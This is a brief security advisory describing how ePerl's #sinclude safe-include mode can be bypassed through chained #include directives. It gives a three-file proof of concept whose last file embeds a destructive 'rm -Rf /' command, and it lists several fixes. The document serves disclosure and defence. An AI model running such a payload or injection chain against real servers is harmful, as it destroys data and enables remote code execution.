COMMAND
ePerl
SYSTEMS AFFECTED
ePerl
PROBLEM
David Madison found following. ePerl allows the user to embed
perl code (specified inside ePerl delimiters) in HTML. ePerl has
the ability to "safely" include untrusted files using the
#sinclude directive. The untrusted file is not supposed to be
able to specify any perl code to run, but this safe mode can
easily be circumvented.
The #sinclude directive operates by replacing the ePerl
delimiters on the untrusted file so that they are ignored during
parsing. The problem is that it still follows the preprocessing
directives, so the untrusted file can then include another file
while not in safe mode.
As an example, consider two files, one that we own and one that
we sinclude.
File my_machine.html:
Here is information from some other source:
#sinclude http://lala.com/untrusted.html
Now, #sinclude is supposed to keep lala.com from putting any perl
code in untrusted.html, but they still can, because they can do
this; file http://lala.com/untrusted.html:
Perl code in this file is ignored, but:
#include http://lala.com/untrusted2.html
File http://lala.com/untrusted2.html:
Any perl code we want...
<: system("rm -Rf /"); :>
Then when someone views the file my_machine.html, ePerl will run
the malicious code on the machine with the ePerl server.
SOLUTION
1) Temporarily turn off preprocessing when you enter an #sinclude
file.
2) Convert all #includes into #sincludes inside an #include file.
3) Move the delimiter replacement *into* the ePerl_PP_Process call
as opposed to after it - in addition, ignore
#if/elsif/else/endif and finally convert all #include to
#sinclude
4) Use the smaller and more secure ePerl replacement that's
written in perl: http://MarginalHacks.com/Hacks/ePerl/